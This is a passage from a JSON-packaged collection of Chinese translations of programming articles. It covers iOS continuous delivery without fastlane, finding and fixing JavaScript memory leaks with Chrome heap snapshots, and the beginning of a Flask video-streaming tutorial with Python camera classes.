来配置通道的支持。但目前这并不是真正的 Swift 实现，因为在底层还是用 Swift 来执行 Ruby 命令而已。它在项目中添加了许多不相关的 Swift 文件，这些文件理想情况下应该作为可通过 CocoaPods，Carthage 或 Swift Package Manager 分发的 Swift 包（SDK）提供。我写了我对Fastlane Swift [第一印象](https://dzone.com/articles/first-impressions-of-fastlane-swift-for-ios)。另一个解决方案是 [Autobahn](https://github.com/AutobahnSwift/Autobahn)，它是纯 Swift 实现的 fastlane，但是它还处在开发阶段，在开发完成之前无法使用。遗憾的是，我们不得不等待这些基于 Swift 的解决方案，他们还没有准备好在当前的 iOS 项目中使用。但是，我们期待迟早会有可行的解决方案，这将允许 iOS 开发人员使用 Swift 编写配置代码。在我看来 Swift 不是脚本语言，但可以在需要时用作脚本。\n\n### 选择的小建议\n\n现在，我们已经看到了所有的不使用 fastlane 工具实现持续发布的选择了。 接下来需要决定选哪个方式，这取决于团队中工程师的技能和经验。\n\n* 如果团队完全没有对 CI / CD 知识有了解的 iOS 工程师，那么可以选择使用基于云计算的 CI 解决方案来处理所有问题。\n* 如果团队中有少数具有 CI / CD 经验的 iOS 工程师，那么可以尝试使用 Xcode Server，因为配置和使用相当简单。\n* 如果团队的 iOS 开发人员有经验，对原生工具很熟悉，那么很值得去使用脚本构建流水线。\n* 等待 2018 年 WWDC 是一个好主意，看看苹果和 BuddyBuild 将在舞台上呈现什么结果。\n\n### 结论\n\n通过使用苹果原生开发者工具，我们可以为 iOS 项目编写整个 CI / CD 流水线，避免了 iOS 项目中需要第三方工具（如 fastlane）的需求。但是需要时间和努力来学习苹果原生开发者工具。 其他选项例如 Xcode Server 或基于云的 CI 解决方案可以避免了使用脚本。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/fixing-memory-leaks-in-web-applications.md",
    "content": "> * 原文地址：[Fixing memory leaks in web applications](https://nolanlawson.com/2020/02/19/fixing-memory-leaks-in-web-applications/)\n> * 原文作者：[Nolan](https://nolanlawson.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/fixing-memory-leaks-in-web-applications.md](https://github.com/xitu/gold-miner/blob/master/TODO1/fixing-memory-leaks-in-web-applications.md)\n> * 译者：[febrainqu](https://github.com/febrainqu)\n> * 校对者：[niayyy-S](https://github.com/niayyy-S)、[QinRoc](https://github.com/QinRoc)、[cyz980908](https://github.com/cyz980908)\n\n## 解决 web 应用程序中的内存泄漏问题\n\n当我们由服务端渲染的应用切换到客户端渲染的单页面应用时，我们要付出的一部分代价是，必须更加注重用户设备上的资源。不要阻塞 UI 进程，不要让笔记本的风扇旋转，不要损耗手机电池等等。我们用在服务端渲染中不存在的一类新问题换来了更好的交互性和更类似 app 的表现。\n\n这类新问题中，其中一个问题就是内存泄漏。一个差的单页面应用会消耗 MB 甚至 GB 的内存，持续地占用越来越多的资源，即使它仅存在于一个背景标签。 因此，页面可能开始变慢，或者浏览器终止这个页面，你会看到 Chrome 熟悉的“喔唷 崩溃啦” 页面。\n\n[![Chrome 显示“喔唷 崩溃啦！显示此页面时出了点问题”](https://nolanwlawson.files.wordpress.com/2020/02/awsnap.png?w=570&h=186)](https://nolanwlawson.files.wordpress.com/2020/02/awsnap.png)\n\n（当然，一个服务端渲染的网站也会在服务器端出现内存泄漏。但是在客户端出现内存泄漏的可能性非常小，因为每当我们切换页面时浏览器都会清除内存。）\n\n关于内存泄漏的内容在 web 开发的文章中没有得到很好的覆盖。但是，我确定大多数重要的单页面应用都存在内存泄漏问题，除非他们背后的团队有一个强大的基础架构来捕获和修复内存泄漏。在 JavaScript 中，很容易意外地分配一些内存而忘记清理。\n\n那么，为什么关于内存泄漏的文献如此之少呢？我的猜测：\n\n* **缺乏反馈**：大多数使用者在他们上网时不会认真观察他们的任务管理器。通常，除非泄漏严重到页面崩溃或应用程序运行缓慢，否则你不会得到用户的反馈。\n* **缺乏数据**：Chrome 团队不会提供关于网站通常使用了多少内存的数据。网站通常也不自己测量。\n* **缺乏工具**：使用现有工具识别或修复内存泄漏仍然困难。\n* **缺乏关心**：浏览器非常擅长杀死消耗过多内存的页面。人们会把[这种问题归咎于浏览器](https://www.google.com/search?hl=en&q=chrome%20memory%20hog) 而不是网页。\n\n在这篇文章中，我想分享一些我在解决 Web 应用程序中的内存泄漏方面的经验，并提供一些示例来说明如何有效地跟踪它们。\n\n## 内存泄漏的解析\n\n现代 Web 应用程序框架，例如 React，Vue 和 Svelte 都是基于组件的模型。在此模型中，导致内存泄漏的最常见方法是这样的：\n\nwindow.addEventListener('message', this.onMessage.bind(this));\n\n就是这样。这样就会导致内存泄漏。如果你在一些全局对象（例如 window， <body> 等）中调用 addEventListener ，然后忘记用 removeEventListener 将它们清理干净。当组件被卸载时，你就创建了一个内存泄漏。\n\n更糟糕的是，你刚刚泄漏了整个组件。因为 this.onMessage 绑定到了 this 上，这个组件就会泄漏。进而它的所有子组件也都会泄漏。因此它的所有子组件也都会泄漏。 而且所有与这些组件相关联的 DOM 节点很可能也都会泄露。这很快就会变得非常糟糕。\n\n解决方法是：\n\n```js\n// 挂载阶段\nthis.onMessage = this.onMessage.bind(this);\nwindow.addEventListener('message', this.onMessage);\n\n// 卸载阶段\nwindow.removeEventListener('message', this.onMessage);\n```\n\n注意，我们保存了对 `onMessage` 函数的引用。你传递给 `addEventListener` 的参数必须和之前传递给 `removeEventListener` 的参数完全相同，否则它不会生效。\n\n## 内存泄漏情况\n\n根据我的经验，内存泄漏最常见的来源是这样的 API：\n\n1. `addEventListener`。这是最常见的一种。调用 `removeEventListener` 来清理它。\n2. [`setTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout) / [`setInterval`](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval)。如果你创建一个循环计时器（例如，每 30 秒运行一次），那么你就需要用 [`clearTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout) 或 [`clearInterval`](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval)来清除它。（如果像 `setInterval` 那样使用 `setTimeout` 会造成内存泄漏 —— 即，在 `setTimeout` 中回调一个新的 `setTimeout`。）\n3. [`IntersectionObserver`](https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver)，[`ResizeObserver`](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver)，[`MutationObserver`](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver) 等。这些新 API 非常方便，但是它们也可能会造成内存泄漏。如果你在组件内部创建了一个观察器，并且将它绑定到一个全局变量上，那么你需要调用 `disconnect()` 来清除它们。（注意，被被垃圾回收的 DOM 节点上绑定的 listener 和 observer 事件也将被垃圾回收。通常，你只需要考虑全局元素，例如 `<body>`，`document`，无处不在的 header 或 footer 元素等等。）\n4. [Promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)，[Observables](https://rxjs.dev/guide/observable)，[EventEmitters](https://nodejs.org/api/events.html#events_class_eventemitter)，等。如果你忘记停止监听，任何用于设置侦听器的编程模型都可能会造成内存泄漏。（如果一个 Promise 从未执行 resolved 或 rejected，那么它可能造成内存泄漏，在这种情况下，任何这个 Promise 对象上的 .then() 回调都会泄漏。）\n5. 全局对象存储。像 [Redux](https://redux.js.org/) 这样的全局对象，如果你不小心，你可以一直为它追加内存，它永远不会被清理。\n6. 无限的新增 DOM。如果你在没有 [virtualization](https://github.com/WICG/virtual-scroller#readme)的情况下，实现无限滚动列表，那么 DOM 节点的数量将无限制地增长。\n\n当然，还有许多其他方法会导致内存泄漏，但这些是我见过的最常见的方式。\n\n## 识别内存泄漏\n\n这是最难的部分。我首先要说的是，我认为现有的工具都不够好。我尝试了 Firefox 的内存工具、Edge 和 IE 的内存工具，甚至 Windows 性能分析器。同类中最好的仍然是 Chrome 开发者工具，但它有很多值得我们去了解的不足。\n\n在 Chrome 开发者工具中，我们选择的主要工具是“Memory”选项卡中的“heap snapshot”工具。Chrome 中有其他内存工具，但我没有发现它们对识别内存泄漏有多大帮助。\n\n[![使用 Heap Snapshot 工具的 Chrome 开发者工具内存选项卡中的屏幕截图](https://nolanwlawson.files.wordpress.com/2020/02/screenshot-from-2020-02-16-11-03-49.png?w=570&h=333)](https://nolanwlawson.files.wordpress.com/2020/02/screenshot-from-2020-02-16-11-03-49.png)\n\nHeap Snapshot 工具允许你对主线程或 web workers 或 iframe 进行内存捕获。\n\n当你单击“take snapshot”按钮时，你已经捕获了该 web 页面上特定 JavaScript VM 中的所有活动对象。这包括 `window` 引用的对象，`setInterval` 回调引用的对象，等等。你可以把它想象成一个代表了那个网页所使用的所有内存的凝固瞬间。\n\n下一步是重现一些你认为可能泄漏的场景 —— 例如，打开和关闭一个模态对话框。一旦对话框关闭，你期望内存恢复到以前的水平。因此，你获取另一张快照，并 **与前一个快照比较**。这个比较功能确实是该工具的杀手级功能。\n\n![图中显示了第一个堆快照，随后是一个泄漏场景，然后是第二个堆快照，它应该等于第一个堆快照](https://nolanwlawson.files.wordpress.com/2020/02/leak-scenario.png?w=570&h=285)\n\n然而，你应该意识到这个工具有一些限制：\n\n1. 即使你点击了“collect garbage”按钮，你也可能需要拍几个连续的快照才能真正清理未引用的内存。根据我的经验，三个就足够了。（检查每个快照的总内存大小 —— 它最终应该稳定下来。）\n2. 如果你使用了 web workers、service workers、iframes、shared workers 等，那么这个内存将不会显示在堆快照上，因为它位于另一个 JavaScript VM 中。如果你想的话，你可以捕获这个内存，但是要确保你知道你在测量的是哪一个。\n3. 有时 snapshotter 会卡住或崩溃。在这种情况下，只需关闭浏览器选项卡并重新开始。\n\n此时，如果你的应用程序很简单，那么你可能会在两个快照之间看到**很多**对象泄漏。这是个棘手的问题，因为这些并非都是真正的泄漏。其中很多都是正常的使用 —— 一些对象被释放以满足另一个对象的内存需求，一些对象以某种方式被缓存，以便之后的清理，等等\n\n## 去除干扰\n\n我发现去除干扰的最好方法是重复几次泄漏的场景。例如，不只是打开和关闭一个模态对话框一次，你可以打开和关闭它 7 次。（7 是一个很明显的质数。）然后你可以检查堆快照的差异，以查看是否有任何对象泄漏了 7 次。（或 14 次、21 次。）\n\n[![Chrome 开发者工具的屏幕截图堆快照差异显示 6 个堆快照捕获，其中多个对象泄漏 7 次](https://nolanwlawson.files.wordpress.com/2020/02/screenshot-from-2020-02-16-10-56-12-2.png?w=570&h=264)](https://nolanwlawson.files.wordpress.com/2020/02/screenshot-from-2020-02-16-10-56-12-2.png)\n\n一个堆快照差异。请注意，我们正在比较快照 #6 和快照 #3，因为我连续进行了三次捕获，以便进行更多的垃圾回收。还要注意，有几个对象泄漏了 7 次。\n\n（另一种有用的技巧是在记录第一个快照之前遍历一次场景。特别是如果你使用了大量的代码拆分，来实现按需加载，那么你的场景很可能需要一次性的内存开销来加载必要的 JavaScript 模块）\n\n此时，你可能想知道为什么我们应该根据对象的数量而不是总内存来排序。根据直觉，既然我们在试图减少内存泄漏的数量，那么难道我们不应该关注总的内存使用量吗？但是由于一个重要的原因，这个方法不是很有效。\n\n当发生内存泄漏时，([套用乔·阿姆斯特朗的话](https://www.johndcook.com/blog/2011/07/19/you-wanted-banana/)) 由于你紧抓着香蕉不放，你最终得到的是香蕉、抓着香蕉的大猩猩和整个丛林。如果你基于总字节进行度量，那么你是在度量丛林，而不是香蕉。\n\n![大猩猩吃香蕉](https://nolanwlawson.files.wordpress.com/2020/02/gorilla_eating_optimized.jpg?w=570&h=428)\n\n通过 [维基共享](https://commons.wikimedia.org/wiki/File:Gorilla_Eating.jpg).\n\n让我们回到上面的 `addEventListener` 事例。内存泄漏的来源是一个事件监听器，它在引用一个函数，这个函数又引用一个组件，这个组件可能还引用大量的东西，比如数组、字符串和对象。\n\n如果你根据总内存对堆快照差异进行排序，那么它将向你显示一堆数组、字符串和对象 —— 其中大多数可能与内存泄漏无关。你真正想要找到的是事件监听器，但是与它所引用的东西相比，它只占用了极小的内存。要修复泄漏，你需要找到的是香蕉，而不是丛林。\n\n因此，如果按泄漏对象的数量排序，你将看到 7 个事件监听器。可能有 7 个组件，14 个子组件，或者类似的东西。“7”这个数字应该很醒目，因为它是一个不寻常的数字。无论你重复该场景多少次，你都应该确切地看到泄漏的对象数量。这就是如何快速找到泄漏源的方法。\n\n## 查找 retainer 树\n\n堆快照差异还将向你展示一个“retainer”链，它显示着保持内存活动的对象间的相互指向。这样你就可以找出内存泄漏对象的分配位置。\n\n[![一个 retainer 链的屏幕截图，显示了一个事件监听器引用的闭包中引用的一些对象](https://nolanwlawson.files.wordpress.com/2020/02/screenshot-from-2020-02-16-10-56-12-3.png?w=570&h=111)](https://nolanwlawson.files.wordpress.com/2020/02/screenshot-from-2020-02-16-10-56-12-3.png)\n\nretainer 链显示哪个对象正在引用泄漏的对象。阅读它的方法是每个对象都由它下面的对象引用。\n\n在上面的例子中，有一个名为 `someObject` 的变量，它被一个闭包（又名“上下文”）引用，这个闭包又被一个事件监听器引用。 如果你点击源链接，它会跳转到 JavaScript 声明，这种方式相当直接明了：\n\n```js\nclass SomeObject () { /* ... */ }\n\nconst someObject = new SomeObject();\nconst onMessage = () => { /* ... */ };\nwindow.addEventListener('message', onMessage);\n```\n\n在上面的例子中，“上下文”是 `onMessage` 的闭包，它引用了 `someObject` 变量。（这是一个 [人为的例子](https://github.com/nolanlawson/pinafore/commit/de6ca2d85334ad5f657ddd0f335750b60afab895)；真正的内存泄漏可能不那么明显!）\n\n但 heap snapshotting 工具有几个限制：\n\n1. 如果保存并重新加载快照文件，则将丢失对分配对象的位置的所有文件引用。例如，你不会看到 `foo.js` 第 22 行的事件监听器闭包。由于这是非常重要的信息，所以保存和发送堆快照文件几乎毫无用处。\n2. 如果涉及到 [`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)，那么 Chrome 将向你显示这些引用，即使它们实际上并不重要 —— 只要清除了其他引用，这些对象就会被释放。所以它们只是干扰。\n3. Chrome 根据原型对这些对象进行分类。因此，使用实际的类/函数越多，使用匿名对象越少，就越容易发现究竟是什么东西在泄漏。例如，想象一下，如果我们的泄漏是由于 `object` 而不是 `EventListener`。由于 `object` 是非常通用的，所以我们不太可能正好看到其中 7 个被泄漏。\n\n这是我识别内存泄漏的基本策略。我曾经成功地使用这种技术发现了许多内存泄漏。\n\n不过，本指南只是一个开始 —— 除此之外，你还必须能够灵活地设置断点、记录日志并测试修复程序，以查看它是否解决了泄漏。不幸的是，这本身就是一个耗时的过程。\n\n## 自动的内存泄漏分析\n\n在此之前，我要说的是，我还没有找到一个自动检测内存泄漏的好方法。Chrome 提供了非标准的 [performance.memory](https://webplatform.github.io/docs/apis/timing/properties/memory/) API，但是由于隐私原因[没有一个非常精确的粒度](https://bugs.webkit.org/show_bug.cgi?id=80444)，所以你不能在生产中真正使用它来识别泄漏。[W3C Web 性能工作组](https://github.com/w3c/web-performance) 曾讨论了 [内存](https://docs.google.com/document/d/1tFCEOMOUg4zmqeHNg1Xo11Xpdm7Bmxl5y98_ESLCLgM/edit) [工具](https://github.com/WICG/memory-pressure)，但尚未达成新的标准来取代这个API。\n\n在实验环境或综合测试环境中，你可以通过使用 Chrome 标志 [`--enable-precise-memory-info`](https://github.com/paulirish/memory-stats.js/blob/master/README.md)来增加这个 API 的粒度。你还可以通过调用专用的 Chromedriver 命令 [`:takeHeapSnapshot`](https://webdriver.io/docs/api/chromium.html#takeheapsnapshot) 来创建堆快照文件。不过，这也有上面提到的限制 —— 你可能想要连续取三个，并丢弃前两个。\n\n由于事件监听器是最常见的内存泄漏源，所以我使用的另一种技术是对 `addEventListener` 和 `removeEventListener` 的 API 进行功能追加以对引用计数并确保它们归零。这个[例子](https://github.com/nolanlawson/pinafore/blob/2edbd4746dfb5a7c894cb8861cf315c800a16393/tests/spyDomListeners.js)讲述了如何操作。\n\n在 Chrome 开发者工具中，你还可以使用专用的 [`getEventListeners()`](https://developers.google.com/web/tools/chrome-devtools/console/utilities#geteventlisteners) API 来查看绑定到特定元素上的事件监听器。注意，这只能在开发者工具中使用。\n\n**更新：** Mathias Bynens 告诉了我另一个有用的开发者工具的 API:[`queryObjects()`](https://developers.google.com/web/updates/2017/08/devtools-release-notes#query-objects)，它可以显示使用特定构造函数创建的所有对象。Christoph Guttandin 也有 [一篇有趣的博客文章](https://media-codings.com/articles/automatically-detect-memory-leaks-with-puppeteer) 关于在 Puppeteer 中使用这个 API 进行自动内存泄漏检测。\n\n## 总结\n\n在 web 应用程序中查找和修复内存泄漏仍然处于初级阶段。在这篇博客文章中，我介绍了一些对我有用的技术，但必须承认，这仍然是一个困难和耗时的过程。\n\n与大多数性能问题一样，预防内存泄漏比发现后再修复重要的多。你可能会发现，在适当的地方进行综合测试比在事后调试内存泄漏更有价值。特别是当一个页面上有几个漏洞时，它可能会变成一个剥洋葱的练习 —— 你修复一个漏洞，然后找到另一个，然后重复（在整个过程中哭泣！）如果你知道要查找什么，代码检查也可以帮助捕获常见的内存泄漏模式。\n\nJavaScript 是一门内存安全的语言，在 web 应用程序中这么容易泄漏内存，实在是有点讽刺。其中一部分是 UI 设计固有的 —— 我们需要监听鼠标事件、滚动事件、键盘事件等等，而这些都是很容易导致内存泄漏的模式。但是，通过尽量降低 web 应用程序的内存使用量，我们可以提高运行时性能，避免崩溃，并尊重用户设备上的资源限制。\n\n**感谢 Jake Archibald 和 Yang Guo 对本文草稿的反馈。感谢 Dinko Bajric 发明了“选择质数”技术，我发现它对内存泄漏分析很有帮助。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flask-video-streaming-revisited.md",
    "content": "> * 原文地址：[Flask Video Streaming Revisited](https://blog.miguelgrinberg.com/post/flask-video-streaming-revisited)\n> * 原文作者：[Miguel Grinberg](https://blog.miguelgrinberg.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flask-video-streaming-revisited.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flask-video-streaming-revisited.md)\n> * 译者：[zhmhhu](https://github.com/zhmhhu)\n> * 校对者：[1992chenlu](https://github.com/1992chenlu)\n\n# 再看 Flask 视频流\n\n![](https://blog.miguelgrinberg.com/static/images/video-streaming-revisited.jpg)\n\n大约三年前，我在这个名为 [Video Streaming with Flask](https://juejin.im/post/5bea86fc518825158c531e9c) 的博客上写了一篇文章，其中我提出了一个非常实用的流媒体服务器，它使用 Flask 生成器视图函数将 [Motion-JPEG](https://en.wikipedia.org/wiki/Motion_JPEG)  流传输到 Web 浏览器。在那片文章中，我的意图是展示简单而实用的[流式响应](http://flask.pocoo.org/docs/0.12/patterns/streaming/)，这是 Flask 中一个不为人知的特性。\n\n那篇文章非常受欢迎，倒并不是因为它教会了读者如何实现流式响应，而是因为很多人都希望实现流媒体视频服务器。不幸的是，当我撰写文章时，我的重点不在于创建一个强大的视频服务器所以我经常收到读者的提问及寻求建议的请求，他们想要将视频服务器用于实际应用程序，但很快发现了它的局限性。\n\n## 回顾：使用 Flask 的视频流\n\n我建议您阅读[原始文章](https://blog.miguelgrinberg.com/post/video-streaming-with-flask)以熟悉我的项目。简而言之，这是一个 Flask 服务器，它使用流式响应来提供从 Motion JPEG 格式的摄像机捕获的视频帧流。这种格式非常简单，虽然并不是最有效的，它具有以下优点：所有浏览器都原生支持它，无需任何客户端脚本。出于这个原因，它是安防摄像机使用的一种相当常见的格式。为了演示服务器，我使用相机模块为树莓派编写了一个相机驱动程序。对于那些没有没有树莓派，只有手持相机的人，我还写了一个模拟的相机驱动程序，它可以传输存储在磁盘上的一系列 jpeg 图像。\n\n## 仅在有观看者时运行相机\n\n人们不喜欢的原始流媒体服务器的一个原因是，当第一个客户端连接到流时，从树莓派的摄像头捕获视频帧的后台线程就开始了，但之后它永远不会停止。处理此后台线程的一种更有效的方法是仅在有查看者的情况下使其运行，以便在没有人连接时可以关闭相机。\n\n我刚刚实施了这项改进。这个想法是，每次客户端访问视频帧时，都会记录该访问的当前时间。相机线程检查此时间戳，如果发现它超过十秒，则退出。通过此更改，当服务器在没有任何客户端的情况下运行十秒钟时，它将关闭其相机并停止所有后台活动。一旦客户端再次连接，线程就会重新启动。\n\n以下是对这项改进的简要说明：\n\n```\nclass Camera(object):\n    # ...\n    last_access = 0  # 最后一个客户端访问相机的时间\n\n    # ...\n\n    def get_frame(self):\n        Camera.last_access = time.time()\n        # ...\n\n    @classmethod\n    def _thread(cls):\n        with picamera.PiCamera() as camera:\n            # ...\n            for foo in camera.capture_continuous(stream, 'jpeg', use_video_port=True):\n                # ...\n                # 如果没有任何客户端访问视屏帧\n                # 10 秒钟之后停止线程\n                if time.time() - cls.last_access > 10:\n                    break\n        cls.thread = None\n```\n\n## 简化相机类\n\n很多人向我提到的一个常见问题是很难添加对其他相机的支持。我为树莓派实现的 `Camera` 类相当复杂，因为它使用后台捕获线程与相机硬件通信。\n\n为了使它更容易，我决定将对于帧的所有后台处理的通用功能移动到基类，只留下从相机获取帧以在子类中实现的任务。模块 `base_camera.py` 中的新 `BaseCamera` 类实现了这个基类。以下是这个通用线程的样子：\n\n```\nclass BaseCamera(object):\n    thread = None  # 从摄像机读取帧的后台线程\n    frame = None  # 后台线程将当前帧存储在此\n    last_access = 0  # 最后一个客户端访问摄像机的时间\n    # ...\n\n    @staticmethod\n    def frames():\n        \"\"\"Generator that returns frames from the camera.\"\"\"\n        raise RuntimeError('Must be implemented by subclasses.')\n\n    @classmethod\n    def _thread(cls):\n        \"\"\"Camera background thread.\"\"\"\n        print('Starting camera thread.')\n        frames_iterator = cls.frames()\n        for frame in frames_iterator:\n            BaseCamera.frame = frame\n\n            # 如果没有任何客户端访问视屏帧\n            # 10 秒钟之后\b停止线程\n            if time.time() - BaseCamera.last_access > 10:\n                frames_iterator.close()\n                print('Stopping camera thread due to inactivity.')\n                break\n        BaseCamera.thread = None\n```\n\n这个新版本的树莓派的相机线程使用了另一个生成器而变得通用了。线程期望 `frames()` 方法（这是一个静态方法）成为一个生成器，这个生成器在特定的不同摄像机的子类中实现。迭代器返回的每个项目必须是 jpeg 格式的视频帧。\n\n以下展示的是返回静态图像的模拟摄像机如何适应此基类：\n\n```\nclass Camera(BaseCamera):\n    \"\"\"模拟相机的实现过程，将\n     文件1.jpg，2.jpg和3.jpg形成的重复序列以每秒一帧的速度以流式文件的形式传输。\"\"\"\n    imgs = [open(f + '.jpg', 'rb').read() for f in ['1', '2', '3']]\n\n    @staticmethod\n    def frames():\n        while True:\n            time.sleep(1)\n            yield Camera.imgs[int(time.time()) % 3]\n```\n\n注意在这个版本中，`frames()` 生成器如何通过简单地在帧之间休眠来形成每秒一帧的速率。\n\n通过重新设计，树莓派相机的相机子类也变得更加简单：\n\n```\nimport io\nimport picamera\nfrom base_camera import BaseCamera\n\nclass Camera(BaseCamera):\n    @staticmethod\n    def frames():\n        with picamera.PiCamera() as camera:\n            # let camera warm up\n            time.sleep(2)\n\n            stream = io.BytesIO()\n            for foo in camera.capture_continuous(stream, 'jpeg', use_video_port=True):\n                # return current frame\n                stream.seek(0)\n                yield stream.read()\n\n                # reset stream for next frame\n                stream.seek(0)\n                stream.truncate()\n```\n\n## OpenCV 相机驱动\n\n很多用户抱怨他们无法访问配备相机模块的树莓派，因此除了模拟相机之外，他们无法尝试使用此服务器。现在添加相机驱动程序要容易得多，我想要一个基于 [OpenCV](http://opencv.org/) 的相机，它支持大多数 USB 网络摄像头和笔记本电脑相机。这是一个简单的相机驱动程序：\n\n```\nimport cv2\nfrom base_camera import BaseCamera\n\nclass Camera(BaseCamera):\n    @staticmethod\n    def frames():\n        camera = cv2.VideoCapture(0)\n        if not camera.isOpened():\n            raise RuntimeError('Could not start camera.')\n\n        while True:\n            # 读取当前帧\n            _, img = camera.read()\n\n            # 编码成一个 jpeg 图片并且返回\n            yield cv2.imencode('.jpg', img)[1].tobytes()\n```\n\n使用此类，将使用您系统检测到的第一台摄像机。如果您使用的是笔记本电脑，这可能是您的内置摄像头。如果要使用此驱动程序，则需要为 Python 安装 OpenCV 绑定：\n\n```\n$ pip install opencv-python\n```\n\n## 相机选择\n\n该项目现在支持三种不同的摄像头驱动程序：模拟、树莓派和 OpenCV。为了更容易选择使用哪个驱动程序而不必编辑代码，Flask 服务器查找 `CAMERA` 环境变量以了解要导入的类。此变量可以设置为 `pi` 或 `opencv`，如果未设置，则默认使用模拟摄像机。\n\n实现它的方式非常通用。无论 `CAMERA` 环境变量的值是什么，服务器都希望驱动程序位于名为 `camera_$CAMERA.py` 的模块中。服务器将导入该模块，然后在其中查找 `Camera`类。逻辑实际上非常简单：\n\n```\nfrom importlib import import_module\nimport os\n\n# import camera driver\nif os.environ.get('CAMERA'):\n    Camera = import_module('camera_' + os.environ['CAMERA']).Camera\nelse:\n    from camera import Camera\n```\n\n例如，要从 bash 启动 OpenCV 会话，你可以执行以下操作：\n\n```\n$ CAMERA=opencv python app.py\n```\n\n使用 Windows 命令提示符，你可以执行以下操作：\n\n```\n$ set CAMERA=opencv\n$ python app.py\n```\n\n## 性能优化\n\n在另外几次观察中，我们发现服务器消耗了大量的 CPU。其原因在于后台线程捕获帧与将这些帧回送到客户端的生成器之间没有同步。两者都尽可能快地运行，而不考虑另一方的速度。\n\n通常，后台线程尽可能快地运行是有道理的，因为你希望每个客户端的帧速率尽可能高。但是你绝对不希望向客户端提供帧的生成器以比生成帧的相机更快的速度运行，因为这意味着将重复的帧发送到客户端。虽然这些重复项不会导致任何问题，但它们除了增加 CPU 和网络负载之外没有任何好处。\n\n因此需要一种机制，通过该机制，生成器仅将原始帧传递给客户端，并且如果生成器内的传送回路比相机线程的帧速率快，则生成器应该等待直到新帧可用，所以它应该自行调整以匹配相机速率。另一方面，如果传送回路以比相机线程更慢的速率运行，那么它在处理帧时永远不应该落后，而应该跳过某些帧以始终传递最新的帧。听起来很复杂吧？\n\n我想要的解决方案是，当新帧可用时，让相机线程信号通知生成器运行。然后，生成器可以在它们传送下一帧之前等待信号时阻塞。在查看同步单元时，我发现 [threading.Event](https://docs.python.org/3.6/library/threading.html#event-objects) 是匹配此行为的函数。所以，基本上每个生成器都应该有一个事件对象，然后摄像机线程应该发出信号通知所有活动事件对象，以便在新帧可用时通知所有正在运行的生成器。生成器传递帧并重置其事件对象，然后等待它们再次进行下一帧。\n\n为了避免在生成器中添加事件处理逻辑，我决定实现一个自定义事件类，该事件类使用调用者的线程 id 为每个客户端线程自动创建和管理单独的事件。说实话，这有点复杂，但这个想法来自于 Flask 的上下文局部变量是如何实现的。新的事件类称为 `CameraEvent`，并具有 `wait()`、`set()` 和 `clear()` 方法。在此类的支持下，可以将速率控制机制添加到 `BaseCamera` 类：\n\n```\nclass CameraEvent(object):\n    # ...\n\nclass BaseCamera(object):\n    # ...\n    event = CameraEvent()\n\n    # ...\n\n    def get_frame(self):\n        \"\"\"返回相机的当前帧.\"\"\"\n        BaseCamera.last_access = time.time()\n\n        # wait for a signal from the camera thread\n        BaseCamera.event.wait()\n        BaseCamera.event.clear()\n\n        return BaseCamera.frame\n\n    @classmethod\n    def _thread(cls):\n        # ...\n        for frame in frames_iterator:\n            BaseCamera.frame = frame\n            BaseCamera.event.set()  # send signal to clients\n\n            # ...\n```\n\n在 `CameraEvent` 类中完成的魔法操作使多个客户端能够单独等待新的帧。`wait()` 方法使用当前线程 id 为每个客户端分配单独的事件对象并等待它。`clear()` 方法将重置与调用者的线程 id 相关联的事件，以便每个生成器线程可以以它自己的速度运行。相机线程调用的 `set()` 方法向分配给所有客户端的事件对象发送信号，并且还将删除未提供服务的任何事件，因为这意味着与这些事件关联的客户端已关闭，客户端本身也不存在了。您可以在 [GitHub 仓库](https://github.com/miguelgrinberg/flask-video-streaming/blob/master/base_camera.py)中看到 `CameraEvent` 